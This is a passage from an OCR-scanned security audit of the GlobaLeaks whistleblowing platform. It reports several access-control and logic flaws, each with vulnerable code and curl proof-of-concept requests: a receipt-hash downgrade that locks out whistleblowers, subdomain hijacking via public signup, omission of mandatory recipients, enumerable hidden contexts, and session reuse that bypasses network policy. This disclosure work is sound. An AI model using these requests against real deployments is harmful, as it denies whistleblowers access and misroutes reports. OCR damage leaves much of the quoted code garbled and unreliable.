controlled links or evaluating formulas in the victim's local spreadsheet context.

Impacted users or systems:

o Administrators exporting audit, users, or report metadata through the client.
o Recipients exporting report lists through the client.

o \Workstations where exported CSV files are opened in formula-evaluating spreadsheet software.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

Improper Neutralization of Formula Elements in a CSV File
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7.9 F-102 - Submission blocks existing
receipt access

One crafted submission can switch receipt handling for the whole tenant and lock existing whistleblowers out of
their reports.

IMPACT COMPONENT FOUND BY
Denial of service Backend Whistleblower GPT-5.5 Pro xhigh via
Submission And Receipt run_codex_cwe_line v2

Authentication

A public submitter can send a submission receipt in the legacy server-hashed format instead of the client-derived
key format used by current clients. The backend stores the resulting short receipt hash and later decides the
whistleblower authentication mode for the entire tenant by checking whether any report has a short receipt hash.
One crafted submission therefore downgrades /api/auth/type and /api/auth/receiptauth forevery
whistleblower report in that tenant, causing existing client-keyed receipts to be checked with the wrong verifier
and denying whistleblowers access to their existing reports.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ whi st | ebl ower / submi ssi on. py: create_tip

backend/ gl obal eaks/ handl ers/auth/ __init__.py:get_auth_type

backend/ gl obal eaks/ handl ers/auth/ __init__.py: | ogi n_whi st | ebl ower

backend/ gl obal eaks/ rest/requests. py: Subni ssi onDesc

cl i ent/app/ src/ pages/ whi st ebl ower/ subni ssi on/ subni ssi on. conponent . ts: fi nal i zeSubm
i ssion

PCST / api / aut h/ recei pt aut h

PCST / api / aut h/ t ype

PCST / api / whi st | ebl ower/ subm ssi on

Description:

Current clients create a 16 digit report access receipt for the whistleblower, ask /api / aut h/ type which receipt-
auth mode is active, and, in normal modern tenants, submit an Argon2i d -derived Base64 key as the recei pt
field. The server recognizes that representation only by checking len(receipt) == 44 .

If a modified client submits any other receipt string, the server falls back to legacy server-side Argon2i d hashing
and stores a 44-character Base64 verifierin Internal Ti p. recei pt _hash . The tenant-wide auth-type decision
later checks only whether any Internal Ti p inthe tenanthas receipt_hash length & t; 64 .Once the
crafted report exists, all whistleblower logins in that tenant switch to the legacy password/raw-receipt path.
Existing reports created with the modern client-key path still store sha256( decoded_cl i ent _key) , a 64-
character hex value, so normal clients can no longer derive the verifier those reports require.

Relevant code:
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# backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subni ssi on. py
recei pt = request['receipt']

if len(receipt) == 44:
key = Base64Encoder . decode(recei pt. encode())
itip.receipt_hash = sha256(key). decode()
el se:
key, itip.receipt_hash = GCE cal cul ate_key_and_hash(recei pt,
State.tenants[tid].cache.receipt_salt)

# backend/ gl obal eaks/ handl ers/auth/ __init__.py
if not session.query(exists().where(and_(Internal Tip.tid == tid,
func.l ength(lnternal Ti p.recei pt _hash) < 64))).scalar():
key = Base64Encoder . decode(recei pt. encode())
hash = sha256( key) . decode()
el se:
salt = ConfigFactory(session, tid).get_val('receipt_salt')
key, hash = GCE cal cul ate_key_and_hash(receipt, salt)

# backend/ gl obal eaks/ handl ers/auth/ __init__.py
if not username: # whistlebl oner
if not session.query(exists().where(and_(Internal Tip.tid == tid,
func.length(Internal Ti p.recei pt _hash) < 64))).scalar():
return {'type': 'key', 'salt': salt}

return {'type': 'password'}

# backend/ gl obal eaks/ rest/requests. py
Subni ssi onDesc = {
‘context_id' : uuid_regexp,
"receivers': [uuid_regexp],
"identity_provided : bool,
"answers': dict,
‘score': int,
‘receipt': str

# client/app/ src/ pages/ whi st ebl ower/ subm ssi on/ subm ssi on. conponent . ts

const receipt = this.cryptoService. generateReceipt();

const res = await firstVal ueFron(this.httpService.requestAut hType(JSON stringify({
‘usernane': "" /* whistleblower */ })));

if (res.type == '"key') {

thi s. submi ssi on. submi ssi on.recei pt = await this.cryptoService. hashArgon2(recei pt
, res.salt);
} else {

thi s. submi ssi on. subni ssi on. recei pt = recei pt;

}

PoC

The following reproduction uses a normal public submission flow plus one modified request body. It assumes a
tenant where existing reports were created by the current client and /api/ aut h/ type for whistleblower login

returns type: key before the attack.

Steps to reproduce

1. Create or identify an existing whistleblower report created by the standard client. Record its 16 digit access
code and confirm the tenant is in key mode:
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curl -s -X POST https://target.exanpl e/ api /auth/type -H ' Content-Type: application/
json' --data '{"usernane":""}'

The response contains {"type": "key", ...}

2. As any public user, start a normal empty-receipt submission session and prepare a valid report submission. In
the final PCST /api / whi st | ebl ower/ subm ssi on request, replace the client-generated 44-character Argon2id
receipt value with a raw string such as 1234123412341234 :

curl -s -X POST https://target.exanpl e/ api / whi st| ebl ower/subm ssion -H ' Content -
Type: application/json' -H'x-session: <public-subnission-session> --data '{

"context_id":"<valid-context-id>",

“receivers":["<valid-receiver-id>"],

"identity_provided":fal se,

"answers":{},

"score": 0,

"recei pt":"1234123412341234"

The surrounding fields must satisfy the target tenant's normal questionnaire and receiver requirements; the
important attacker-controlled field is recei pt

3. Query the auth type again:

curl -s -X POST https://target.exanpl e/ api/auth/type -H ' Content-Type: application/
json' --data '{"usernane":""}"

The response now contains {"type": "password"} because the crafted report inserted an
I nt ernal Ti p. recei pt _hash whose length is less than 64.

4. Try to open the pre-existing report through the normal client with its original 16 digit access code.

The client sees password node, sends the raw access code to /api/auth/receiptauth,
and the backend checks GCE cal cul at e_key_and_hash(receipt, salt). That verifier
does not match the existing report's sha256(decoded client-derived key) receipt
hash, so the login fails.

Expected result

A newly submitted report should not be able to change the receipt verification mode used for other reports in the
tenant. The server should either validate that new submissions use the tenant's expected receipt representation
or make the verifier format decision per report without relying on a tenant-wide downgrade flag.

Actual result

A public submitter can store one legacy-format receipt hash. That single row changes the tenant-wide auth-type
and login branch for every whistleblower report, so existing modern client-keyed receipts are verified with the
wrong cryptographic operation and become inaccessible through the normal client.

Impact

This is a tenant-wide denial of whistleblower report access caused by missing server-side validation of the
cryptographic receipt format and by a downgrade decision derived from attacker-controlled stored state.
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Impacted users or systems:

o Whistleblowers with existing reports in the a ected tenant.
e Operators relying on receipt-based follow-up access for report updates, messages, and status checks.

e Administrators, who must identify and repair or remove the downgraded receipt-hash row before normal
access resumes.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Medium High

Missing Cryptographic Step
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7.10 F-011 - Signup does not enforce subdomain
unigueness against admin-created tenants

On the limited class of multi-tenant deployments that combine public self-signup with administrator-provisioned
tenants in the same subdomain namespace, an unauthenticated signup can claim an existing subdomain and
redirect that hostname to a new attacker-controlled tenant.

IMPACT COMPONENT FOUND BY

Tenant routing conflict Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Public tenant signup validates the requested subdomain only against pending signup records and the root
hostname. It does not reject subdomains already used by active administrator-created tenants, whose
subdomains are stored in Confi g rows rather than the Subscriber table. On signup-enabled multi-tenant
deployments, an unauthenticated user can register and activate a tenant with the same subdomain as an existing
tenant, causing hostname and onion-name routing for that subdomain to point at the attacker's tenant after cache
refresh.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ si gnup. py - signup(), signup_activation(),
Si gnupActi vati on

backend/ gl obal eaks/ handl ers/adm n/tenant.py - db_create(),
create_and_initialize(), update()

backend/ gl obal eaks/db/__init__.py - db_refresh_tenant_cache()

backend/ gl obal eaks/ nmodel s/ __init__.py - _Subscriber

PCST / api / si gnup

PCST / api / si gnup/ <acti vati on-t oken>

Description:

Tenant subdomains are security-sensitive routing identifiers. The backend maps each active tenant's subdomain
to hostnames suchas 0.1 and 2.3 , then uses those maps to select the tenant for incoming requests.

Administrator-created tenants store their subdomain in per-tenant Confi g rows. Public signup records store the
requested subdomain in Subscri ber. subdomai n , and that table has a unique constraint, but the constraint does
not cover the Confi g -backed subdomains of administrator-created tenants.

The public signup path checks only whether the requested subdomain would equal the root hostname, then

deletes still-pending signup tenants with the same Subscri ber. subdonai n . It does not query active tenant
Config rows for an existing subdomain. After activation, the tenant cache refresh iterates active tenant IDs in

ascending order and updates State.tenant_subdonai n_id_map and State.tenant_hostnane_id_nmap by

assignment. If two active tenants have the same subdomain-derived hostname, the later tenant overwrites the
earlier mapping.

An unauthenticated attacker can therefore create a public signup using the subdomain of an existing
administrator-created tenant, activate it through the email token sent to the attacker-controlled signup address,
and make normal requests to that tenant hostname resolve to the attacker's tenant.
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The condition requires public self-signup to be enabled, an existing administrator-created tenant in the same
namespace, completion of email activation, and a subsequent tenant-cache refresh. This mixed provisioning
setup is uncommon, and signup activity is notified to administrators, providing an opportunity to detect and
correct the collision.

Relevant code:

backend/ gl obal eaks/ handl er s/ si gnup. py

27 config = ConfigFactory(session, 1)

29 if not config.get_val (' enabl e_signup'):

30 rai se errors. Forbi ddenCperati on

32 if request['subdomain'] + "." + config.get_val ('rootdomain') ==
config.get_val (' host nane' ) :

33 rai se errors. Forbi ddenQperati on

42 # Delete the tenants created for the sane subdonain that have still not been
activat ed

44 tids = [tid for (tid,) in session.query(nodels.Tenant.id).filter(
45 nodel s. Subscri ber. subdomai n == request [ ' subdomain'],

46 nodel s. Subscri ber. acti vati on_t oken. i snot (None) ,

47 nodel s. Tenant . i d == nodel s. Subscriber.tid

48 ).all()]

50 db_del (session, nodels. Tenant, nodel s. Tenant.id.in_(tids))

52 tenant = db_create_tenant(session, {'active': False,

53 ‘nane' : request[' subdonmain'],
54 ' subdomai n': request[' subdomain'],
55 "node' : config.get_val (' node')})

57 signup = nodel s. Subscri ber (request)

backend/ gl obal eaks/ handl er s/ adm n/t enant . py

34 def db_create(session, desc):

35 t = nodel s. Tenant ()

37 t.active = desc['active']

59 for var in ['node', 'nane', 'subdonain']:

60 db_set _config_variabl e(session, t.id, var, desc[var])

backend/ gl obal eaks/db/ __init__.py

247 for tid in tids:

248 tenant_cache = State.tenants[tid].cache

250 State.tenant _uui d_i d_nap[tenant _cache.uuid] = tid

261 if tenant_cache. subdonai n:

262 State. tenant _subdonai n_i d_nmap[ t enant _cache. subdomain] = tid

264 if root_tenant_cache.root domai n and tenant_cache. reachabl e_vi a_web:
265 tenant _cache. host nanes. append(' {}.{}" . fornat (tenant _cache. subdonai
n, root_tenant_cache. r oot domai n) . encode())

267 if root_tenant_cache. oni onservi ce:

268 tenant _cache. oni onnanes. append(* {}.{}" . format (tenant_cache. subdona
in, root_tenant_cache. oni onservi ce). encode())

270 State. tenant _host narme_i d_map. update({h: tid for hin

t enant _cache. host nanes + tenant_cache. oni onnanes})

backend/ gl obal eaks/ nodel s/ __init__.py

880 class _Subscri ber (Mdel ):

881 __tablename__ = 'subscri ber’

883 tid = Colum(Integer, prinary_key=True)

884 subdonai n = Col unn( Uni codeText, uni que=True, nul | abl e=Fal se)
PoC
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Steps to reproduce

1. Configure a multi-tenant deployment with r oot domai n set, public signup enabled, and an active

administrator-created tenant using subdomain vi cti m. For example, the existing tenant is reachable as
victimexanple.org .

Root tenant: rootdonmain = exanpl e.org, enable_signup = true. Existing tenant A
active = true, subdonain = victim no Subscriber row because it was created by an
admini strator.

2. As an unauthenticated user, submit a public signup request using the same vi cti m subdomain and an
attacker-controlled email address.

curl -s -X POST 'https://exanpl e. org/ api/signup’ \
-H ' Content-Type: application/json \

--data '{
"subdomai n": "vi ctint,
"nane": " Eve",
"surnanme":"Attacker",
“phone": "",
“emai | “: "attacker @xanpl e. net"”,

"organi zati on_nane": " Attacker Tenant",
"organi zati on_tax_code":
"organi zati on_vat _code
"organi zation_| ocation":""
"tosl":true,
"tos2":true

3. Activate the signup with the token delivered to the attacker-controlled email address.

curl -s -X POST 'https://exanpl e. org/ api/si gnup/ <acti vati on-t oken>'

4. After the cache refresh triggered by the activation handler, request the original tenant hostname.

curl -i '"https://victimexanple.org/api/public

Expected result

The signup request should reject any subdomain already assigned to an active tenant, regardless of whether that
tenant was created through public signup or through administrator tenant management. A tenant hostname
should resolve to exactly one tenant.

Actual result

The public signup can create and activate a second active tenant with the same vi cti m subdomain when the
existing tenant does not have a Subscri ber row. During cache refresh, the later tenant overwrites the

vi cti m exanpl e. org and derived onion-host mappings, so requests for the original tenant hostname are routed
to the attacker's newly activated tenant.

The collision changes the active hosthame mapping but does not modify the original tenant's stored reports or
configuration data.

Impact
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The impact is limited to the conflicting hostname and future tra c until the duplicate assignment is detected and
corrected. Users may be directed to the wrong tenant, creating a limited risk of future submission disclosure,
altering the integrity of tenant routing, and temporarily disrupting access through the a ected hostname. The
narrow deployment conditions, required activation, and administrator notifications limit the practical scope of
each impact dimension.

Impacted users or systems:

e Multi-tenant deployments with public signup enabled.
o Administrator-created tenants whose subdomains are not represented by a Subscri ber. subdormai n  row.

¢ Whistleblowers and recipients who access tenants through subdomain-derived hostnames or onion names.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low Low

CWE-694 ) Use of Multiple Resources with Duplicate Identifier
CWE-807 ) Reliance on Untrusted Inputs in a Security Decision

Page 61 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



. ) PIVA IT 04164220230
Information Security REA VR-397513

ISGroup SRL
roup Via Cantarane, 14
37129 Verona (VR)

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

7.11 F-016 - Mandatory recipients can be omitted

A tampered client can omit recipients that administrators configured as mandatory, bypassing the intended
report-routing workflow.

IMPACT COMPONENT FOUND BY
Workflow bypass Backend GPT-5.5 medium v1

Recipients marked as forceful | y_sel ected are treated by the client as mandatory recipients during
submission. The backend, however, trusts the client-supplied recei vers array and does not add or require
forcefully selected recipients. A modified client can submit a report while omitting recipients that administrators
configured as mandatory.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ publ i c. py: seri al i ze_r ecei ver

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py: db_cr eat e_subm ssi on
client/app/ src/services/ hel per/ subm ssi on. servi ce. ts: Subm ssi onSer vi ce. set Cont ext R
ecei vers

client/app/ src/services/ hel per/subni ssi on. servi ce. ts: Subm ssi onSer vi ce. subm t

/ api / whi st | ebl ower / subni ssi on

Description:

User records include a forceful | y_sel ected boolean, and the public APl exposes this flag to the submission

client. The frontend treats forcefully selected recipients as mandatory: when building the receiver selection for a
context it increments the mandatory recipient counter and always marks forcefully selected recipients as

selected.

The backend submission endpoint does not enforce this invariant. It loads the selected context, then builds the
actual recipients only from the request['receivers'] array, validating only that the supplied IDs are same-

tenant users with rol e=recei ver . It does not query for forceful |l y_sel ected recipientsin the selected
context or tenant, and it does not reject a submission where such recipients are missing.

Because /api/public exposes recipient UUIDs and the submission payload is client-controlled, a reporting
user can use a modified client or direct HTTP request to omit a mandatory recipient from delivery.

Relevant code:
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backend/ gl obal eaks/ nodel s/ __init__ . py

963
994

1005

forceful ly_sel ected = Col unm(Bool ean, defaul t=Fal se, nul | abl e=Fal se)

bool _keys = ['enabl ed',

‘forceful ly_sel ected',

backend/ gl obal eaks/ handl er s/ publ i c. py

505 ret = {

506 "id: user.id,

507 ' nane' : user. public_nane,

508 "forcefully_selected : user.forcefully_sel ected,
509 ‘picture': data['ings'].get(user.id, False)

510 }

client/app/ src/services/ hel per/ subm ssion. service.ts

35 this.context.receivers.forEach((receiver: string) => {

36 const r = this. appDataService.receivers_by_ id[receiver];

44 if (r.forcefully_selected) {

45 this. mandatory_recei vers += 1;

46 } else {

47 this.optional _receivers += 1;

48 }

50 if (this.context.select_all _receivers || r.forcefully_selected) {
51 this.selected_receivers[r.id] = true;

52 }

53 b)i

65 subnmit() {

66 this. subm ssion.receivers = [];

71 for (const key in this.selected_receivers) {

72 if (oject.prototype. hasOmnProperty.call (this.sel ected_receivers, key))
{

73 thi s. subm ssi on. recei vers. push(key) ;

74 }

75 }

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ subm ssi on. py

163 context, questionnaire = db_get (session,

164 (nodel s. Context, nodel s. Questionnaire),
165 (nodel s. Context.tid == tid,

166 nodel s. Context.id ==

request['context _id'],

167 nodel s. Questionnaire.id ==

nodel s. Cont ext . questi onnai re_i d))

173 receivers =[]

174 for r in session. query(nodels. User).filter(nmodels.User.tid == tid,

model s. User.id.in_(request['receivers']), nodels.User.role == "receiver'):

192 if not receivers:

193 raise errors. | nputValidationError("Uable to deliver the submssion to

at |east one recipient")

195 if 0 < context.naxi num sel ectabl e_receivers < | en(request['receivers']):
196 raise errors. | nputValidationError("The nunber of recipients sel ected
exceed the configured limt")

281 for user in receivers:

287 db_create_recei vertip(session, user, itip, _tip_key)

PoC

ISGroup SRL
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Steps to reproduce
1. Configure a context with two recipients, where one recipient is forcefully selected.

Context receivers: REQPIENT_A REC PIENT_B. RECIPIENT_A forceful ly sel ected =
true. REQ PIENT_B.forcefully_selected = fal se.

2. Fetch the public configuration and note the mandatory recipient flag.

curl -s 'https://TARGET/ api/ public'

3. Start or use a whistleblower submission session, then submit to the context while omitting the forcefully
selected recipient.

curl -i -X POST ' https://TARGET/ api / whi st | ebl ower/ submi ssion' \
-H ' x-session: WA STLEBLOMR SESSION \
-H 'content-type: application/json' \
--data ' {
"context_id":"CONTEXT_WJ D',
"receivers":["REQPIENT_B WU D'],
“identity_provided":fal se,
"score": 0,
"answers":{},
"receipt":"exanpl e receipt"”

4. Log in as the forcefully selected recipient and list reports.

curl -i "https://TARGET/ api/recipient/rtips" \
-H ' x-session: REQ Pl ENT_A SESSI ON

Expected result

The backend should either add forcefully selected recipients to the delivery list or reject the submission when
any mandatory recipient for the selected context is missing.

Actual result

The backend creates ReceiverTip rows only for the recipient IDs supplied by the client, so the forcefully selected

recipient can be omitted from delivery.

Impact

This is a recipient-routing authorization bypass. It allows a reporting user or modified client to avoid delivery to
recipients that an administrator configured as mandatory for the submission flow.

Impacted users or systems:

¢ Tenants that use forcefully selected recipients for oversight, mandatory triage, compliance, or anti-retaliation
workflows.

¢ Reporting users and organizations relying on mandatory recipients to ensure reports reach a required team or
role.
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7.12 F-017 - Hidden contexts publicly usable

Hidden submission channels remain discoverable and usable through the public API, exposing metadata and
intake paths that should stay out of view.

IMPACT COMPONENT FOUND BY
Metadata disclosure Backend GPT-5.5 xhigh v1

Submission contexts can be marked hi dden and the client excludes those contexts from the public context-
selection Ul. The backend public API, however, still serializes hidden contexts with their IDs, names, descriptions,
questionnaires, recipients, and routing settings, and the submission endpoint accepts the hidden context ID like
any visible context. A public submitter can enumerate hidden channels through /api/public and submit
reports into them with a modified request or by using the client's context query parameter.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/ publ i c. py: seri al i ze_cont ext

backend/ gl obal eaks/ handl er s/ publ i c. py: db_get _cont exts

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py: db_cr eat e_subm ssi on
client/app/ src/ pages/ whi st ebl ower/ subm ssi on/ subm ssi on. conponent . ts

/api / public

/ api / whi st | ebl ower/ subni ssi on

Description:

The context model includes a hi dden flag. The client uses this flag to build sel ect abl e_contexts by filtering
out hidden contexts before rendering the public context-selection page.

The backend does not apply the same visibility boundary. /api/public serializes every context for the tenant
and includes the hidden flag, context ID, localized text, questionnaire ID, recipient IDs, and submission settings. It
also serializes all questionnaires used by those contexts.

During submission creation, the backend loads the requested context only by tenant and context_id . It does
not reject contexts where hi dden is true and does not require any separate unlisted-link token or server-side
authorization for hidden contexts.

This means the hidden flag is only a client-side presentation filter. Any public user can enumerate hidden context
IDs and metadata from Zapi/public, then submit to those hidden contexts directly. The Angular client also
accepts a context query parameter and searches the full public context list, so a hidden context can be opened if
its ID is known.

Relevant code:

Page 66 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

/1 backend/ gl obal eaks/ handl er s/ publ i c. py
292 def serialize_context(session, context, |anguage, data=None):

301 ret = {

302 'id: context.id,

303 " hidden': context. hidden,

304 ‘order': context.order,

314 ‘questionnaire_id : context.questionnaire_id,

315 ‘addi tional _questionnaire_id : context.additional_questionnaire_id,
316 ‘receivers': data['receivers'].get(context.id, []),

317 "picture': data['ings'].get(context.id, False)

318 }

/1 backend/ gl obal eaks/ handl er s/ publ i c. py
540 def db_get_contexts(session, tid, |anguage):

549 contexts = session. query(nodel s. Context).filter(nodels. Context.tid == tid)

553 return [serialize context(session, context, |anguage, data) for context in
cont ext s]

/1 backend/ gl obal eaks/ handl er s/ publ i c. py

583 return {

584 ‘node' : db_serialize_node(session, tid, |anguage),

585 ‘questionnaires': db_get_questionnaires(session, tid, |anguage, True),
586 ' submi ssi on_statuses' : db_get _subni ssi on_st at uses(session, tid,

| anguage) ,

587 ‘receivers': db_get_receivers(session, tid, |anguage),

588 ‘contexts': db_get_contexts(session, tid, |anguage)

589 }

/1 client/app/src/pages/whi st ebl ower/subm ssi on/ subm ssi on. conponent . t s
137 initializeSubm ssion() {

138 let context = null;

139

140 this.selectabl e_contexts = this.appDataService. public.contexts.filter(cont
ext => !context.hidden);

141

142 if (this.appDataService.context_id) {

143 context = this.appDataService. public.contexts.find(context => context.id
=== this. appDataServi ce. context_id);

144 } else if (this.selectable contexts.length === 1) {

145 context = this.selectabl e_contexts[0];

146 }

147

148 if (context) {

149 thi s. prepar eSubmi ssi on( cont ext ) ;

150 }

151}

/1 backend/ gl obal eaks/ handl er s/ whi st | ebl ower / subm ssi on. py

163 context, questionnaire = db_get (session,

164 (nodel s. Context, nodel s. Questionnaire),
165 (nodel s. Context.tid == tid,

166 nodel s. Context.id ==

request['context _id],

167 nmodel s. Questionnaire.id ==

nodel s. Cont ext . questionnaire_id))

219 itip.context_id = context.id

281 for user in receivers:
287 db_create_receivertip(session, user, itip, _tip_key)

PoC

ISGroup SRL
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1. Configure a tenant with at least two submission contexts and mark one context as hidden.

Vi sibl e context: OCONTEXT_M S| BLE
H dden context: OONTEXT_H DDEN with hi dden = true

2. Fetch the public configuration without authentication.

curl -s 'https://TARGET/ api/ public'

3. Observe that the hidden context is present in the response with its ID and metadata.

contexts contains:

{
"id": "OONTEXT_H DDEN',
"hidden": true,
"questionnaire_id": "
“receivers": ["..."]

4. Start or use a normal whistleblower submission session and submit directly to the hidden context ID.

curl -s -X POST ' https://TARGET/ api / whi st ebl ower/ subm ssi on' \
-H ' Content-Type: application/json \
-H ' X-Session: WH STLEBLONER SUBM SSI ON SESSI ON' \

--data ' {
"context_id": "CCONTEXT_H DDEN',
“recei vers": ["REQ Pl ENT_FRCM H DDEN_CONTEXT'],

"identity provided": false,
"answers": {},

“score": 0,

"recei pt": "RECE PT_CR HASH'

5. Alternatively, open the client with the hidden context ID in the query string.

ht t ps: // TARGET/ #/ subm ssi on?cont ext =CONTEXT_H DDEN

The client searches the full public context list, not only sel ectabl e_contexts , and prepares the hidden context
when the ID is present.

Expected result

Hidden contexts should not be publicly enumerable as ordinary context records. If hidden contexts are intended
to be accessible by unlisted links, the backend should expose and accept them only through a server-side
mechanism that proves possession of that link or token. The submission endpoint should reject hidden contexts
unless that condition is met.

Actual result

The backend exposes hidden contexts in /api / publ i ¢ and accepts their IDs in
/[ api / whi st | ebl ower/ subni ssi on . The hidden flag is enforced only by the client context-selection list.

Impact
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This is a server-side access-control and information-disclosure weakness in the public submission flow. Public
users can discover hidden reporting channels and route reports into them despite the context being removed

from the normal public selection Ul. This can expose hidden channel names, descriptions, questionnaires, and
recipient routing, and can allow unwanted submissions into channels that operators expected to keep unlisted.

Impacted users or systems:

o Deployments that use hidden contexts for unlisted, restricted, or staged reporting channels.

e Recipients assigned to hidden contexts who may receive reports from submitters who should not have
discovered the context.

o Administrators relying on the hidden flag to keep context metadata and entry points out of the public flow.

CONFIDENTIALITY INTEGRITY AVAILABILITY
Low Low None

CWE-284 ) Improper Access Control
CWE-200 ) Exposure of Sensitive Information to an Unauthorized Actor
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7.13 F-036 - Session bypasses network policy

Role network policies are evaluated when a session is established. Re-evaluating them during session use or
refresh would provide stronger ongoing enforcement when the client's source network changes.

IMPACT COMPONENT FOUND BY

Network policy bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

Role-specific Tor and IP access controls are implemented as login-time checks. After avalid X- Session has
been issued, normal role APIs authorize it from the cached session role and tenant without re-evaluating the
current source. This finding considers additional per-session enforcement for deployments that expect the policy
to remain e ective throughout the session lifetime.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ base. py - connection_check(),

BaseHand| er . get _sessi on()

backend/ gl obal eaks/ handl ers/auth/ __init__.py - login(), TokenAuthHandl er. post(),
Sessi onHand| er . post ()

backend/ gl obal eaks/ rest/decorators. py - decorator_authentication()

backend/ gl obal eaks/ handl ers/recipient/__init__.py - TipsCollection.get()

PUT / api / adm n/ net wor k

CET /api/recipient/rtips

PCST / api / aut h/ sessi on

Description:

Administrators can configure each internal role to require Tor-only access and can restrict roles to specific IP
ranges. The backend implements those policies in connecti on_check() , which examines https_0 ,

ip_filter_1_enable ,and ip_filter_2 forthe request's client IP and Tor state.

The normal password-login path and token-auth path call connecti on_check() , but the generic request
authentication path does not. BaseHandl er. get _sessi on() loads a session from X- Session , and

decor at or _aut henti cation() then authorizes protected handlers when the session role matches the handler
role. No per-request connecti on_check() runs for recipient report APIs, administrator APIs, user preferences, or
the session refresh endpoint.

Consequently, a recipient can authenticate once from an allowed network or over Tor, keep the session ID, and
then use the same session from a disallowed IP address or clearnet path. The /api/ aut h/ sessi on refresh path

also skips connecti on_check() , allowing that out-of-policy session to be extended until the attacker stops
refreshing it.

The current behavior does not grant the session additional application privileges; it changes where an already
authenticated session can be used. A stolen-session scenario still requires a separate session-compromise
condition. F-048, “Source policy not checked after login,” describes the same login-time enforcement behavior
from the communication-channel perspective.

Relevant code:
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backend/ gl obal eaks/ handl er s/ base. py
61 def connection_check(tid, role, client_ip, client_using_tor):

75 ip_filter_enabled = cache. get (ip_filter_enabl ed_key)

76 if ip_filter_enabled:

7 ip_filter = cache.get(ip_filter_key)

78 if not check_ip(client_ip, ip_filter):

79 rai se errors. AccesslLocationl nval i d

81 https_al | oned = cache. get (https_al | oned_key)

82 if not https_allowed and not client_using_tor:

83 rai se errors. Tor Net wor kRequi r ed

146 # Check session header

147 session_id = sel f.request. headers. get (b' x- sessi on')
148 if session_id:

149 sessi on = Sessi ons. get (sessi on_i d. decode())

151 if session is None or session.tid != self.request.tid:
152 return

backend/ gl obal eaks/ handl ers/auth/ __init__.py

105 connection_check(tid, user.role, client_ip, client_using_tor)
232 connect i on_check(sel f.request.tid, session.role,
233 self.request.client_ip,

sel f.request. client_using_tor)

280 def post(self):
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281 e

282 Reset session tinout

283 "

284 request = sel f.validate_request(self.request.content.read(),

request s. Sessi onUpdat eDesc)

285

286 try:

287 sel f. sessi on. t oken. val i dat e(request[' token'].encode().split(b":")[
1])

288 Sessi ons. reset _ti neout (sel f. sessi on)

backend/ gl obal eaks/ r est/ decor at or s. py
32 def decorator_authentication(f, roles):

38 if self.session and self.session.tid == self.request.tid:

39 if "user' in user_roles and self.session.role in USERS ROLES:
40 return f(self, *args, **kwargs)
41 if self.session.role in user_roles:
42 return f(self, *args, **kwargs)

backend/ gl obal eaks/ handl ers/recipient/__init__.py
144 cl ass Ti psCol | ecti on(BaseHandl er):

149 check_rol es = 'receiver'

150

151 def get(self):

152 return get_receivertips(self.request.tid,

153 sel f. sessi on. user _i d,
154 sel f. sessi on. cc,

PoC
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Steps to reproduce

1. As an administrator, configure the recipient role to be reachable only from a specific source range, or disable
non-Tor access for recipients.

curl -s -X PUT ' https:// TARGET/ api / adm n/ net work' \
-H ' Content-Type: application/json \
-H ' X-Sessi on: <adm n-sessi on-from managenent - net wor k> \
--data ' {
"https_admn":true,
"https_anal yst":true,
"https_custodi an":true,
"https_receiver":true,
"htt ps_whi st ebl ower": true,
"reachabl e_via web": true,
"anonym ze_out goi ng_connect i ons": f al se,
"ip_filter_admn_enabl e":fal se,
"ip_filter_admn":"",
"ip_filter_anal yst_enabl e": fal se,
"ip_filter_analyst":"",
"ip_filter_custodi an_enabl e": fal se,
"ip_filter_custodian":"",
"ip_filter_receiver_enabl e":true,
“ip_filter_receiver":"192.0. 2.0/ 24"

2. From an allowed recipient source such as 192. 0. 2. 10 , authenticate as a recipient and save the returned
session ID and session proof-of-work token.

curl -s -X POST 'https://TARGET/ api / aut h/ aut henti cation' \

-H ' Content-Type: application/json' \

--data ' {"tid": 1, "usernane":"recipient", "password":"<derived-or-plain-
passwor d>", "aut hcode": ""}"

3. Move the same session to a disallowed source address, such as a client outside 192. 0. 2. 0/ 24 , and try a fresh
password login. The login path is rejected by connecti on_check() .

AccesslLocat i onl nval i d

4. From the same disallowed source, reuse the previously issued X- Sessi on to call a protected recipient
endpoint.

curl -i "https://TARGET/ api/recipient/rtips" \
-H ' X-Sessi on: <reci pi ent - sessi on-fromal | oned- net wor k>'

5. Before the idle timeout, solve the session token proof of work and refresh the same session from the
disallowed source.

curl -i -X POST 'https://TARGET/ api / aut h/ sessi on' \
-H ' Content-Type: application/json' \
-H ' X-Sessi on: <reci pi ent-sessi on-fromal | oned- net wor k>' '\
--data '{"token":"<sessi on-token-id>: <val i d- pr oof - of - wor k- answer >"}*

Expected result

For deployments that require network restrictions to remain e ective after login, the backend should re-evaluate
the current source at least during session refresh and, where appropriate, on authenticated requests. A request
that no longer satisfies the selected per-session policy should be rejected and should not extend the session.
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Actual result

Once a session exists, protected role APIs and / api / aut h/ sessi on authorize from the cached session role and
tenant without re-running connecti on_check() .The session remains usable from a network that the same role
cannot use for a new login.

Impact

This is an ongoing session-policy hardening issue. An already authenticated user or a separately compromised
session can continue operating from a source that would not be accepted for a new login. The behavior creates
limited confidentiality and integrity exposure relative to the configured network boundary, but it does not create
new role privileges or an availability impact.

Impacted users or systems:

o Deployments using role IP filters for administrators, analysts, custodians, or recipients.
o Deployments requiring one or more roles to access the platform only via Tor.

o Whistleblowers whose report data is protected by recipient network restrictions.

